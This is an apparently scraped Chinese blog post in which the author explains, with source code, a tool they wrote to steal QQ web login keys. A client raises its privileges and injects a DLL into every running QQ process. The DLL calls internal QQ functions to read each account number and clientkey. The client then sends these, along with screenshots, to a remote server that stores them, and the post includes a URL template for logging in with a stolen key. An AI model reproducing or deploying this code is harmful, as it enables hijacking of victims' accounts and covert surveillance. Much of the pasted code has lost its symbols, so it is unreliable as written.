辽阳网站网站建设培训行业网站建设的重要性

当前位置: 首页 > news >正文

辽阳网站网站建设,培训行业网站建设的重要性,南京网页搜索排名提升,做网站自动赚钱吗效果演示#xff1a; 效果演示1https://www.bilibili.com/video/BV1154y1Z7bS/效果演示2https://www.bilibili.com/video/BV1Aa411n7fF/第一次剪视频#xff0c;发现有好多细节要注意#xff0c;为了保护一个ip#xff0c;我可以说拼尽全力了 前言#xff1a; 该项目主要…效果演示 效果演示1https://www.bilibili.com/video/BV1154y1Z7bS/效果演示2https://www.bilibili.com/video/BV1Aa411n7fF/第一次剪视频发现有好多细节要注意为了保护一个ip我可以说拼尽全力了 前言 该项目主要是利用clientkey对clientkey的获取不做深层探究涉及到的多为基础知识。代码约共850行左右全文约共4万字主要作用是将来我能够给我自己复盘该项目使用。 学算法真的很有用写代码少了很多bug写算法题目时那种反复检查的思想对写代码有很大的提升。 qqclientkey大概可以将其理解为qqweb端的临时密码。                关于qqclientkey网上已经有很多前辈的研究和相关的文章并且都通俗易懂较易理解主要有两种方法一种是内存中读取qqclientkey另一种网页访问获取。第二种方法已经为很古老的方法了可能是已经失效也可能因为本人才学疏浅未能成功过。不过我之后通过key尝试获取cookie以实现key长久利用却发现并不如以前的文章所写的一样轻松如今有个skey需计算获得我用python写的脚本返回的数据头里的cookie也都为空。

-- coding:utf-6 --

from http import cookies import requests import webbrowser import browser_cookie3 as bc3 #利用clientkey生成网址 qq input() clientkey input() qzone u1https://user.qzone.qq.com/ qq /infocentersourcepanelstar qmail https://mail.qq.com/cgi-bin/frame_html url (https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin qq clientkey clientkey) print(url) #设置访问头 header {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0,Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,/;q0.8,Accept-Language:zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip, deflate, br,Upgrade-Insecure-Requests: 1,Sec-Fetch-Dest: document,Sec-Fetch-Mode: navigate,Sec-Fetch-Site: none,Sec-Fetch-User: ?1 }qq_web_res requests.get(url url,headersheader) printf(qq_web_res.cookies) 输出为{ } 只得参考某位前辈的文章东施效颦模仿了一个。由于核心的dll是我挺久以前写出来的了如今我未能找出那位前辈的原文。如果有哪位看过我dll源码后知晓是哪篇文章烦请告知我我将在博客中贴出。不胜感激。 内存clientkey主要是qq执行”KernelUtil.dll“中的?GetSignatureMiscUtilYA?AVCTXStringWPBDZ函数获取clientkey该函数有两个参数第一个参数是你要获得的clientkey保存的地址第二个参数是buf32ByteValueAddedSignature返回类型为void。 于此我们就可以通过dll注入来实现获取qqclientkey。 代码剖析 主要流程 服务端创建监视线程用于管理所有连接用户打开客户端客户端连接服务端。服务器接收到连接创建新的线程来处理。客户端扫描当前目录下是否存在dll文件不存在则向服务端发送指令1来获取dll。若存在则执行注入关于注入我写了一个类本想用于任何dll注入任何进程方便调用结果还是写成了半该项目专用半其他进程也能用的东西…注入的步骤先初始化各个成员变量。再调整自身提权如果不执行这一步可能没有进行注入的权限接下来获取所有qq进程的pid并保存下来然后进行doinject函数挨个注入注入后dll将会把qq和key放入一段共享内存内客户端将会读取该段共享内存把qq和key保存在结构体内。之后将该结构内的qqkey挨个发送到服务端。服务端接收到数据将其保存在网页/qq/xxxx.html内xxxx是qq号至此一次通讯完成。客户端会保持定期发送数据。监视线程用于某个连接过长时间未发送数据则关闭该连接并关闭该连接对应的线程。 三大核心客户端服务端DLL 客户端 前言 先来看看客户端的所有函数 //全局变量 const char gobal_dll_path[255] D:/key3.0.dll; //一开始不用wchar_t是因为会出现众多问题如转换时类型处理不当出现的乱码问题 const char process_name[255] QQ.exe;
const char ip[] /你的ip地址/; const int port /你的端口号/; const char screenshot_name[] 1.png;
//全局函数 void GetScreen(); //获取屏幕截图 int SendScreen(SOCKET m_Sock); //发送截图 BOOL isDllExisten();
int GetDLL(SOCKET m_Sock); int SendQQ(DLL_INJECTION ij,SOCKET m_Sock); SOCKET DoSocket(); //DLL_INJECTION类 class DLL_INJECTION { public:DLL_INJECTION(const char, const char);//wchar_t [STRING_SIZE] ,TCHAR [STRING_SIZE]~DLL_INJECTION() {CloseHandle(xxoo);};BOOL Init(const char, const char); //初始化DWORD GetPID(); //获取所有qq的pidBOOL doInject(); //执行注入DWORD GetQQSize(); //获取qq结构体大小DWORD* GetQQAddress(int i); //获取qq进程数量BOOL AdjustPrivilege(); //提权int GetQQCounts(); //获取qq数量 private://函数区BOOL CreateXxOoDomain();//创建共享内存区域BOOL UnInjectDll(const TCHAR* pszDllFile, DWORD dwProcessId); //卸载DLL//ULONG LpstrToChar(LPCTSTR Src, char* Des);//变量区HANDLE xxoo;TCHAR pName[STRING_SIZE]; //目标进程名DWORD target_pid[MAX_PROCESS]; //目标进程pid//PROCESSENTRY32* info;//char dll_name[11] key3.0.dll;int path_size; //路径长度int target_counts 0; //QQ数量wchar_t dll_path[STRING_SIZE]; //注入dll路径char qq_and_key[PUBLIC_BUFFER_SIZE]; }; 再看看客户端main函数中的执行流程 int main() {WSADATA wsaData; //初始化套接字WSAStartup(MAKEWORD(2, 2), wsaData); SOCKET mainSock DoSocket(); //进行socket连接if (!isDllExisten()) //检查dll是否存在{cout 文件不存在 endl;GetDLL(mainSock); //获取dll}DLL_INJECTION inject(gobal_dll_path, process_name);do{if (!isDllExisten()){cout 文件不存在 endl;GetDLL(mainSock);}inject.doInject(); //注入SendQQ(inject, mainSock); cout * 延时等待中… endl;Sleep(30000); //每隔5分钟执行一次} while (inject.GetQQCounts() ! 0);//结束socketchar cmd _CMDEXIT;send(mainSock, cmd, 1, 0);closesocket(mainSock);WSACleanup();return 0; } 题外话 关于socket最近正好刚看完一本书叫TCP/IP协议详解里面关于socket的连接介绍的很通俗易懂它是这么说的你可以把socket连接看成是打电话比如打给114。服务器那边1要有个电话总机获得这个电话总机的过程就相当于调用socket()函数。2服务器光有总机还不行电信局得给电话总机分配一个电话这就类似于bind()函数将端口和socket套接字绑定socket套接字类似于总机端口类似于电话至于bind就像电信局。3总计开通后就一直再监听用户的拨号用户拨打114可能拨通也可能获得忙音这就相当于listen()函数来监听用户请求。4总机接到某个客户电话后将用户和一个分机连接总机本身又重新回到监听状态这就相当于socket中的accept()函数accept()成功后服务器将返回一个新的套接口来与客户通信。至于客户和与分机之间的连接则调用recv()和send()函数。5调用结束关闭分机用closesocket关闭套接口避免浪费通信资源。 而客户端所要做的如下1想要拨打114查好首先自己得有个座机自己座机的号码并不重要所以我们可以指定也可以不指定座机就相当于套接口号码就相当于端口。所以首先调用socket函数创建套接口2有了电话我们就可以向114拨打电话此时调用connect()函数来模拟打电话的过程打通了程序会返回0没打通则会告诉你错误类型。3打通了后我们就可以通过send()recv()来与服务器进行沟通。4当我们打完后需要挂断电话此时则调用closesocket来实现挂断电话关闭套接口。避免资源浪费。 说这个的目的一是本项目刚好用到了socket连接另一个则是该例子通俗易懂帮我很好的理解了客户端服务器五元组建立的步骤我分享出来希望帮到大家。 main函数 详细来看看main函数的执行流程。首先初始化套接字 然后进行与服务器的socket连接 之后判断DLL是否存在 不存在则通过GetDLL函数进行DLL的下载 之后创建一个DLL_INJECTION类进行初始化工作初始化写在构造函数内主要包括成员变量的初始化以及获取pid提权等操作。 之后进行一个死循环 每隔五分钟sleep30000 判断一次dll是否存在如果被破坏会导致出错 并进行注入 每次注入后都将结果发送到服务器。 与服务器进行套接字连接SOCKET DoSocket SOCKET DoSocket() {SOCKET mainSock socket(AF_INET, SOCK_STREAM, 0);if (mainSock 0){cout 创建套接字失败 endl;return 0;}struct sockaddr_in sever_addr;sever_addr.sin_addr.s_addr inet_addr(ip);sever_addr.sin_port htons(port);sever_addr.sin_family AF_INET;if(!(connect(mainSock, (LPSOCKADDR)sever_addr, sizeof(sever_addr)))){return mainSock;}cout 连接失败 endl;return 0; }DoSocket()部分则是一段很标准的socket连接详细的过程建议看看专业的书籍以及介绍能够更加加深你对连接过程的理解以及对每个变量和参数的理解。 我创建的是TCP/IP连接确保发送数据的完整性。 函数如果连接成功则返回与服务相连的套接口供之后使用连接失败则返回0。 判断DLL是否存在函数BOOL isDllExisten() //参考于《windows系统编程》 BOOL isDllExisten() {BOOL flag true;WIN32_FIND_DATAA wfd;HANDLE fDLL FindFirstFileA(gobal_dll_path, wfd);if (fDLL INVALID_HANDLE_VALUE || wfd.nFileSizeLow ! 10240){flag false;}FindClose(fDLL);return flag; } 本函数主要实现两个功能 1.判断文件是否存在 2.判断文件完整性比较文件大小 判断文件完整性可以采用比较md5的方式我准备于今后有时间再进行实现。判断文件是否存在的过程不说判断完整性经过实践来说是必须的不然由于程序中包含了对dll的读写操作创建dll从服务器接收数据写入dll很容易由于网络问题造成dll损坏。 函数的返回值主要依靠BOOL型变量flag若是无误则返回true有问题则返回false由于win32api没有现成的判断文件是否存在的函数于是我们用FindFirstFile(LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData)第一个参数是文件名字如果找到了则将该文件的相关信息存储到第二个结构体参数内。其中第二个结构体参数中的有两个成员一个是DWORD nFileSizeHigh一个是DWORD nFileSizeLow分别代表用高位DWORD数值表示文件大小和用低位DWORD数值表示文件大小单位都是字节此处我用的是nFileSizeLow来判断dll长度是否正确。 FindFirstFile函数调用成功返回一个搜索句柄可以记下来在FindNextFile或者FindClose中继续利用这个句柄如果失败则返回INVALID_HANDLE_VALUE我们则利用其返回值来判断文件是否存在。 下载核心dllint GetDLL(SOCKET m_Sock) int GetDLL(SOCKET m_Sock) {int n 0;//设置dll接收缓冲区并初始化;char dll_buf[1024] \x00;memset(dllbuf, 0, 1024);fstream dll(gobal_dll_path,ios::binary|ios::out);//发送接收dll指令char cmd _CMD_GETDLL;if (send(m_Sock, cmd, 1, 0) 0){cout 发送失败 endl;return 0;}//接收数据int len 0;while (0 (len recv(m_Sock, dll_buf, 1024, 0)) len 1024){if (dll_buf[0] \xde dll_buf[1] \xad dll_buf[2] \xbe dllbuf[3] \xff){cout 接收到结束符 endl;break;}cout 接收 n 次 长度为 len endl;dll.write(dll_buf, 1024);memset(dllbuf, 0, 1024);/** 加入一个短暂的时延不然会出错* 不加会导致某次接收数据不满1024* 致使结束符和dll数据混合在一起*/Sleep(10);}//接收结束cout 接收完成 endl;dll.close();return 0; }该函数主要作用是用于下载dll该函数一般在检测dll是否存在调用后根据其返回值调用。 首先进行缓冲区的创立我们将1024字节的buf作为缓冲区并对其利用memset进行初始化。然后利用fstream创立一个dll实体文件。当一切准备工作做完后客户端向服务器发送指令_CMD_DLL_GET_告诉服务器我已经准备好我下面需要接收dll。于是采用一个循环recv函数的返回值是所接收到的字节数。根据这个特点我们可以将其作为循环条件不知道为什么如果直接将recv作为循环条件对方发完后或者连接突然断开都会导致错误对方发完后如果对方不告诉你“我发完了你可以不用recv了”他就会一直保持在那。如果有时间我会单独研究一下这个问题。所以我设置了一个结束标志char over_flag[] “deadbeff”应该是deadbeef服务器端打错了而且服务器端编译运行比较麻烦所以就将错就错了当服务器将全部dll发送完后将会发送一串这个字符串客户端接收到该字符串后则将退出循环。 此处还有一个一个问题我观察了服务端的发送过程我写的是每一次发送服务端都将输出一条发送的记录告诉这是第几次发送并且发送了多少个字节可是服务端每次都是一次性输出客户端我也是如上我写了每一次接收将会输出一条记录但是客户端也是一次性输出。于是我猜测服务端是一次性将数据发送完之后客户端接收到之后先是全部保存到系统缓冲区内再分段保存到buf内。以上全部基于猜测如有问题请联系我删除或修改。可是又有一个问题如果采用的如上的发送和接收的方式按理说客户端每段接收都是固定的1024字节可是实际过程中发现。服务器端一共分10次发送每次发送1024字节。如果不加sleep10的情况下客户端一般都是分11次接收前八次基本都是正常的1024字节第9次或者第10次只能接受900多左右的字节这就导致了客户端需要多一次接收接收11次。可是客户端的第11次发送则是over_flag这就导致客户端的over_flag和dll数据混合到了一起致使dll出错为了避免这种情况我加入了短暂的时延sleep10我个人想法是为了让buf有一定的时间接收完完整数据总之大体上加入这个短暂时延后基本上能解决问题目前没再次遇到该问题。 fstream写入完后一定记得关闭。 接下来介绍关键的注入部分 提升权限DLL_INJECTION::BOOL AdjustPrivilege() BOOL DLL_INJECTION::AdjustPrivilege() {HANDLE token;if ((OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, token)) NULL) //打开进程令牌{cout GetLastError();cout 打开进程令牌失败 endl;return FALSE;}LUID luid;if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid) NULL) //查询权限{cout GetLastError();cout 权限查询失败 endl;OutputDebugString(L权限查询失败);return FALSE;}TOKEN_PRIVILEGES tkp;tkp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;tkp.PrivilegeCount 1;tkp.Privileges[0].Luid luid; //固定操作,创建一个新特权tkp即为新特权结构体;if (AdjustTokenPrivileges(token, FALSE, tkp, sizeof(tkp), NULL, NULL) NULL) //特权调整{cout GetLastError();cout 调整自身权限失败 endl;OutputDebugString(L调整自身权限失败);return FALSE;}return TRUE; }注入的核心是通过调用CreateRemoteThread函数来使某个进程调用我们写好的dll而要想调用该函数首先要拥有足够的权限能够对目标进程进行操作如果权限不够很可能会出现一系列错误于是我们需要我们程序本身进程的权限进行一个提升。这里我们采用指令牌权限提升的方式 指令牌权限提升的方式已经较为固定打开进程令牌OpenProcessToken查询系统特权LookupPrivilegeValue调整权限AdjustTokenPrivileges好奇的可以看这篇文章关于进程令牌权限提升。我在github上还搜索到了一个老外写的在win10UAC下的权限提升的源码我准备有空好好研究研究。 获取所有qq的PidDLL_INJECTION::DWORD GetPID() DWORD DLL_INJECTION::GetPID() {target_counts 0;HANDLE handle CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); //创建进程快照PROCESSENTRY32 info;if (handle NULL){cout GetLastError();cout 创建进程快照失败 endl;return NULL;}info.dwSize sizeof(PROCESSENTRY32);Process32First(handle, info); //获取首进程信息while (Process32Next(handle, info)){if (wcscmp(info.szExeFile, pName) 0) //比较每个进程名和所要找的进程名{if (target_counts MAX_PROCESS) //防止数组越界{break;}target_counts;target_pid[target_counts] info.th32ProcessID;}}return info.th32ProcessID; }获取所有qqpid思路是创建一个进程快照一个进程一个进程的名字对比过去名字一样的获取其pid保存一直到遍历完所有进程为止。该处也没有什么好说的。 需要注意的是我用FindWindow来查询QQ进程的pid时获取的pid值好像和创建进程快照方法获取的不一样由于该注入部分是我五年前做的了当时不懂的很多也没对自己的问题进行一个详细的记录所以可能是我操作的问题。总之当时困扰了我好久上各种地方去问都无果。想来想去最后还是用创建进程快照还方便获取所有qq的pid。 获取完后用成员变量“DWORD target_pid[MAX_PROCESS];    //目标进程pid”保存每个qq进程pid用成员变量“int target_counts 0;            //QQ数量”记录qq的数量 开辟共享内存BOOL DLL_INJECTION::CreateXxOoDomain() BOOL DLL_INJECTION::CreateXxOoDomain() {xxoo CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, PUBLIC_BUFFER_SIZE, Lxxoo);if (xxoo 0){cout GetLastError();cout CreateFileMapping Failed! endl;return false;}return true; } 在windows下进程间通信有大致五种方式分别是通过自定义消息进行通信通过管道进行通信通过互斥体进行通信通过共享内存进行通信来源《windows系统编程》。还有一种是我自己认为应该加上的如果可以借助外部存储的话还可以通过文件进行通信。此处我们采用的时通过共享内存进行通信。 该函数旨在开辟一块共享内存共享内存内内容可读可写共享内存名字为“xxoo”用于读取qq进程中获取的clientkey。我们在析构函数中销毁这块共享内存。 创建共享内存时如果设置共享内存名字为Gobal:\则会出错百度错误码则说权限不够目前未找到解决办法。 ~DLL_INJECTION() {CloseHandle(xxoo);};初始化工作BOOL Init(const char, const char) BOOL DLL_INJECTION::Init(const char* path, const char* name) {if (!AdjustPrivilege()){cout 提权失败 endl;return false;}if (!GetPID()){cout 获取pid失败 endl;return false;}if (!CreateXxOoDomain()){cout 创建共享内存失败 endl;return false;}return true; }在构造函数内我们对每个成员变量进行赋值用0填充进行初始化工作在本函数内我们主要调用提权和获取pid函数以及开辟共享内存避免每次注入都要重复进行一遍上述操作带来很大不便。 进行注入BOOL DLL_INJECTION::doInject() BOOL DLL_INJECTION::doInject() {for (int i 1; i target_counts; i){//创建共享空间if (xxoo NULL){printf(%d, GetLastError());OutputDebugStringA(OpenFileMapping failed \n);}HANDLE handle OpenProcess(PROCESS_ALL_ACCESS, NULL, target_pid[i]); //打开进程if (handle NULL){cout GetLastError();cout 获取目标进程句柄失败 endl;OutputDebugString(L获取目标进程句柄失败);return 0;}LPVOID lpAddr VirtualAllocEx(handle, NULL, path_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //申请虚拟内存if (lpAddr NULL){cout GetLastError();cout 目标进程中开辟虚拟内存失败 endl;OutputDebugString(L目标进程中开辟虚拟内存失败);return 0;}if (WriteProcessMemory(handle, lpAddr, dll_path, path_size, NULL) NULL) //写入数据{cout GetLastError();cout 写入路径失败 endl;OutputDebugString(L写入路径失败);return 0;}PTHREAD_START_ROUTINE pStartFun (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll), LoadLibraryW); //加载dllCreateRemoteThread(handle, NULL, NULL, pStartFun, lpAddr, NULL, NULL); //创建远程线程Sleep(100);//读取共享内存LPCTSTR pBuf;pBuf (LPCTSTR)MapViewOfFile(xxoo, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, PUBLIC_BUFFER_SIZE);if (pBuf NULL){printf(%d, GetLastError());printf(MapViewOfFile failed!\n);}sprintf(qq_and_key, %s\n, pBuf);cout qq_and_key endl;//分割字符组strcpy(qq[i].qqUin, strtok(qq_and_key, *));strcpy(qq[i].qqKey, strtok(NULL, *));//cout qq[i].qqUin endl;//cout qq[i].qqKey endl;qq[i].qqKey[64] 0;//cout qq[i].qqKey[64] endl;this-UnInjectDll(Lkey3.0.dll, target_pid[i]); //卸载dll以防出错UnmapViewOfFile(pBuf);}return true; }这段代码便是本程序最核心的部分也是需要和dll相结合的部分但是我也没什么好说的关于本文中所用的dll注入技术已经时相当格式化了按部就班就行了。 复盘一下dll注入技术首先打开目标进程然后在目标进程中开辟一块空间接下来将我们的dll载入这块空间然后创建远程线程使目标进程执行这块空间内容最后记得卸载dll。 本函数的主要作用就是对每个qq进程进行一个注入并读取共享内存内容的作用由于每个进程注入后dll都会在加载时调用其中的steal函数偷取key和qq并写到共享区域中所以每次注入完多一个读取共享内存的操作。 dll写入时我们采用*作为qq和key的分割符以qq号*key的形式写入共享内存区域然后客户端以为分隔符解码存入我们自写的qq结构体内。 struct QQ {char qqUin[15];char qqKey[65]; }qq[MAX_PROCESS];由于key长度是64位再包含一位截断符\x00正好65位。 至此一个完整的注入流程基本完成。还是要提醒一下注入结束后记得卸载dll并且程序结束时记得关闭共享内存区域。 发送数据int SendQQ(DLL_INJECTION ij,SOCKET m_Sock) int SendQQ(DLL_INJECTION ij,SOCKET m_Sock) {DWORD sQQ ij.GetQQSize();DWORD cQQ ij.GetQQCounts();//建立发送缓冲区char buf[1024] ;//发送指令char cmd _CMD_SENDQQ;send(m_Sock, cmd, 1, 0);//发送QQ数量char counts cQQ 0;send(m_Sock, counts, 1, 0);for (int i 1; i cQQ; i){memset(buf, 0, sizeof(buf));DWORD pQQ ij.GetQQAddress(i);//将QQ内内容转移到发送区bufmemcpy(buf, pQQ , sQQ);//发送cout 发送缓冲区内容 buf endl;send(m_Sock, buf, sQQ, 0);}cout * 处理完成 * endl;return 0; }SendQQ()函数我选择将DLL_INJECTION类和 和服务端建立连接的套接字作为参数。选择套接字作为参数是因为我需要将数据发送到服务器选择类作为参数是因为我需要用到其中的数据。 首先获取qq的数量以及qq结构体的大小获取数量表示我们将发送多少次接下来创建发送缓冲区并将其初始化。然后按照qq的数量发送qq结构体。 至此客户端方面的工作基本完成。 DLL: 前言 dll方面的工作比较底层关于dll的基本知识如dll入口函数以及入口函数内的那几个case的作用我将不再阐述了主要研究其所做的工作 解释一下BSTR数据类型官方解释为A BSTR is a composite data type that consists of a length prefix, a data string, and a terminator. 大概意思就是混合数据类型包含了字符串长度和字符串本体。 部分说明Length prefix 长度前缀 A four-byte integer that contains the number of bytes in the following data string. It appears immediately before the first character of the data string. This value does not include the terminator. 一个4字节的整数存储的是实际的不含结尾Null字符的字符串的字节数。它位于字符串中的第一个字符之前。 Data string 字符串 A string of Unicode characters. May contain multiple embedded null characters. Unicode字符组成的字符串这个字符串可以包含很多Null字符。 Terminator 结束符 A NULL (0x0000) WCHAR. 一个Null字符2个字节存储 我觉得应该不难理解就是字符串长度加字符串本文中的CTXString类型即为BSTR类型那个AllocTXString函数在dll关键函数Steal函数中并未用到被注释掉了大概讲一下吧。 typedef BSTR CTXStringW;CTXStringW AllocTXString(const wchar_t* lpSrc) {if (lpSrc NULL) return NULL; //检测lpSrc是否创建成功BYTE* bBuffer new BYTE[16 (wcslen(lpSrc) 1) * 2];if (bBuffer NULL) return NULL;DWORD dwZero 0;DWORD dwCount 3;DWORD dwLenth wcslen(lpSrc) 1;memmove(bBuffer 0 * 4, dwZero, 4);memmove(bBuffer 1 * 4, dwCount, 4);memmove(bBuffer 2 * 4, dwLenth, 4);memmove(bBuffer 3 * 4, dwLenth, 4);wcscpy((wchar_t*)(bBuffer 4 * 4), lpSrc);return CTXStringW(bBuffer 16); }其实挺好理解的如果传进来的宽字符不为空则利用这个宽字符创建一个类似于BSTR的数据。第二行就是创建一个bBuffer大小为16byte字符串长度结束符长度每个宽字符大小按理说一个整形数据应该是4byte也就是说最前面应该是4byte至于为什么是16byte我在网上找到了这个图。 也就是说BSTR前面的头部不止只有字符串长度而其前四个字节确定是其字符串不含\x00的长度至于剩下的8个字节我并无头绪网上的相关资料也较少。 剩下的memove和strcpy就是将构造的头和wchar内的内容填充到构造好的BYTE字串内再将这个BYTE字串转换为BSTR类型并返回。 所以该函数最终表达的目的就一个将传进来的wchar转换为BSTR类型。 窃取clientkeyVOID Steal() VOID Steal() {do {char littlejudge[14];HMODULE hKernelUtil GetModuleHandle(LKernelUtil.dll); ///加载dllif (hKernelUtil NULL){OutputDebugStringA(Get KernelUtil Module failed \n);break;}ULONG fnGetSelfUin;ULONG currentQQ;fnGetSelfUin (ULONG)GetProcAddress(GetModuleHandleA(KernelUtil), ?GetSelfUinContactUtilYAKXZ); //获取QQ账号 //获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址if (fnGetSelfUin NULL){OutputDebugStringA(Get GetSelfUin Function failed \n);break;}currentQQ ((ULONG(__cdecl)())fnGetSelfUin)();//DWORD uin ((int()(int))fnGetSelfUin)();if (currentQQ NULL){OutputDebugStringA(Invoke GetSelfUin Function failed \n);break;}// Print QQ numberchar szUin[MAX_PATH] { 0 };sprintf(szUin, %u, currentQQ);PVOID GetSignature GetProcAddress(hKernelUtil, ?GetSignatureMiscUtilYA?AVCTXStringWPBDZ); //函数地址if (GetSignature NULL){OutputDebugStringA(Get GetSignature Function failed \n);break;}WCHAR wsBuffer[MAX_PATH] { 0 };CTXStringW ClientKey;// AllocTXString(wsBuffer);PVOID res ((PVOID()(PVOID, const char))GetSignature)(ClientKey, buf32ByteValueAddedSignature); //关键函数获取key保存到cilentkey内存中if (res NULL){OutputDebugStringA(Invoke GetSignature Function failed \n);break;}// 复制下面链接无需密码进入QQ空间char msg[MAX_PATH] { 0 };sprintf(msg, https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin%sclientkey%wsu1https://user.qzone.qq.com/%s%/infocentersourcepanelstarn, szUin, ClientKey, szUin);BOOL dead_or_live GoHome(szUin, ClientKey);if (dead_or_live ! TRUE){sprintf(littlejudge, D!E!A!D!);OutputDebugStringA(littlejudge);}else{sprintf(littlejudge, LIVE!!!!);OutputDebugStringA(littlejudge);}OutputDebugStringA(msg);} while (0);}这边do{}while(0)的意思就是执行一次。之前看《linux内核源码分析》时分析过do{}while(0)但主要是在#define宏定义中的巨大作用至于此处我也没能明白作者本意。 当该dll注入到QQ.exe中并且知道我们需要的函数的名字和参数的时候窃取就变得很简单了。首先我们获取本进程内的函数所在的dll的“Kernel.dll”所在的模块句柄然后获取其中“?GetSelfUinContactUtilYAKXZ”函数所在的地址以及“?GetSignatureMiscUtilYA?AVCTXStringWPBDZ”函数所在的地址最后直接调用将返回值保存就行了。注意获取key的函数据逆哥的分析有两个参数第一个是key获取后所保存的地址第二个是“buf32ByteValueAddedSignature”固定参数。而获取qq的那个函数并无参数。 之后调用我自己写的GoHome来让他们回家笑。 送qq号和key回家BOOL GoHome(char qqUin, CTXStringW qqKey) BOOL GoHome(char* qqUin, CTXStringW qqKey) {int strlenth (BUF_SIZE);HANDLE hMapFile;LPCTSTR pBuf;sprintf(g_szText, %s%ws, qqUin, qqKey);//创建文件映射对象if ((hMapFile OpenFileMapping(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, Lxxoo)) NULL){OutputDebugStringA(OpenFileMapping failed \n);return FALSE;}pBuf (LPTSTR)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (pBuf NULL){OutputDebugStringA(MapViewOfFile failed \n);return FALSE;}if (CopyMemory((PVOID)pBuf, g_szText, strlen(g_szText)) NULL){OutputDebugStringA(CopyMemory failed \n);return FALSE;}UnmapViewOfFile(pBuf);CloseHandle(hMapFile);return TRUE; }该函数也很简单就是打开内存映射文件将qq和key写入共享内存。第一个参数是qq第二个参数是key。该段函数的写法我参照的《windows系统编程》挺简单的没什么可以多说的。共享内存的名字叫“xxoo”。详可见客户端内开辟共享内存那块的写法。 dll分析差不多结束。 服务端 前言 服务端这块我用的是visual studio2019配合服务器的g编译器写的不得不说vs系列真是开发神器虽然大了一点但是一点都不影响他的好用在引入多线程之前基本所有工作只需要我在windwos端操作就行服务器端我只需要./sever.o就全部解决。 直到遇到了多线了编译命令里需要加入参数-lpthread我不知道在哪里添加命令折腾了好久最终放弃不过我仍是采用的是用vs2019写写完服务器g编译。vs2019的自动排版自动补全代码错误高亮仍然帮了我的大忙。 看看服务器端main函数 int main() {cout v: 1.8 paltform: x86 endl;mainSock();return 0; }输出一个版本号用来检测我的vs2019上的改动是否改动到了服务器里输出一个平台。只要功能我都是在mainSock内实现。 监听端口实现与客户端的连接int mainSock() int mainSock() {int sever_sock socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in sever_addr;sever_addr.sin_addr.s_addr INADDR_ANY;sever_addr.sin_port htons(5000);sever_addr.sin_family AF_INET;if (bind(sever_sock, (sockaddr)sever_addr, sizeof(sever_addr)) -1){cout errno;cout * bind失败 endl;return 0;}if (listen(sever_sock, 10) ! 0){cout * lesten失败 endl;return 0;}//主scoket创建完立刻创建监视线程。pthread_t monitor_tid;int monitor pthread_create(monitor_tid, NULL, thread_monitor, (void*)sever_sock);// acceptstruct sockaddr_in client_addr;socklen_t clt_addr_len sizeof(client_addr);int clt_sock 0;cout * ready over endl;while (1){clt_sock accept(sever_sock, (sockaddr*)client_addr, clt_addr_len);cout * accept成功 endl;//创建线程pthread_t tid;if (int ret pthread_create(tid, NULL, thread_main, (void*)clt_sock) ! 0){cout * 线程创建出错 errno endl;continue;}tids.insert(make_pair(clt_sock, tid));cout clt_sock tid endl;cout * 线程创建成功保持监听状态… endl;}cout * accept失败程序退出 endl;close(sever_sock);return 0; }创建套接字绑定监听标准的一个socket创建过程。 之后每接收到一个用户连接则新建一个线程用来处理与客户之间的连接。 在此之前我们得注意有可能会出现与某个客户的连接虽然还存在但实际上由于种种原因客户不再发送数据给我们这时候我们可以认为这个连接已经死掉了。如果我们不自己处理这种连接则会造成通信资源的浪费。为此我们创建了一个监视线程来监视每个连接最后接收数据的时间如果超过15分钟没接收到数据我们则认为连接已死关闭套接口并且终止线程运行。 关于监视线程的监视我们主要采用了两个全局map型变量一个是mapint,tid一个是mapint,time_t一个记录每个连接所对应的tid一个记录每个连接最后的刷新时间每次创建一个与客户连接的线程则将其连接对应的tid插入每次接收命令则刷新该连接最后与客户端的通信时间。 监视线程void* thread_monitor(void* arg) void* thread_monitor(void* arg) {while (1){time_t ntm;time(ntm);for (mapint, time_t::iterator it lstUpdata.begin(); it ! lstUpdata.end(); it){if (difftime(ntm, (*it).second) 900 (*it).second ! 0) //第二个条件防止某线程刚被创建就被删除{close((*it).first); //关闭socketpthread_cancel(tids[(*it).first]); //结束线程lstUpdata.erase((*it).first); //从map中删除tids.erase((it).first);}}sleep(1);}return 0; }该函数的参数并无意义。 该函数的主要功能能如mainSock中所说监视每个连接最后刷新时间。每次循环我们都创建一个时间变量来记录当前时间然后内部遍历每个已记录连接并将已记录连接的最后接发时间和当前时间进行对比如果已记录连接最后接发数据时间和当前时间差超过15分钟也就是900秒则终止连接终止线程并在记录中删除记录。 客户请求处理函数void thread_main(void* arg) void* thread_main(void* arg) {int clt_sock (int)arg;sleep(10);cout * 进入线程 tids[clt_sock] endl;time_t tim;int res 0;while (1){char cmd 0;//等待命令传入res recv(clt_sock, cmd, 1, 0);//收到指令则更新时间time(tim);if (lstUpdata.count(clt_sock) 0){lstUpdata.insert(make_pair(clt_sock,tim));}else{lstUpdata[clt_sock] tim;}cout tids[clt_sock] 指令 cmd endl;switch (cmd){case _CMDEXIT://指令0退出循环。tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock 0;cout tids[clt_sock] 退出 endl;return 0;case _CMD_GETDLL:SendDll(clt_sock);break;case _CMD_RECVQQ:GetQQ(clt_sock);break;case _CMD_RECVSCREENSHOT:GetScreenshot(clt_sock);break;default://非法参数退出循环。tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock 0;cout tids[clt_sock] 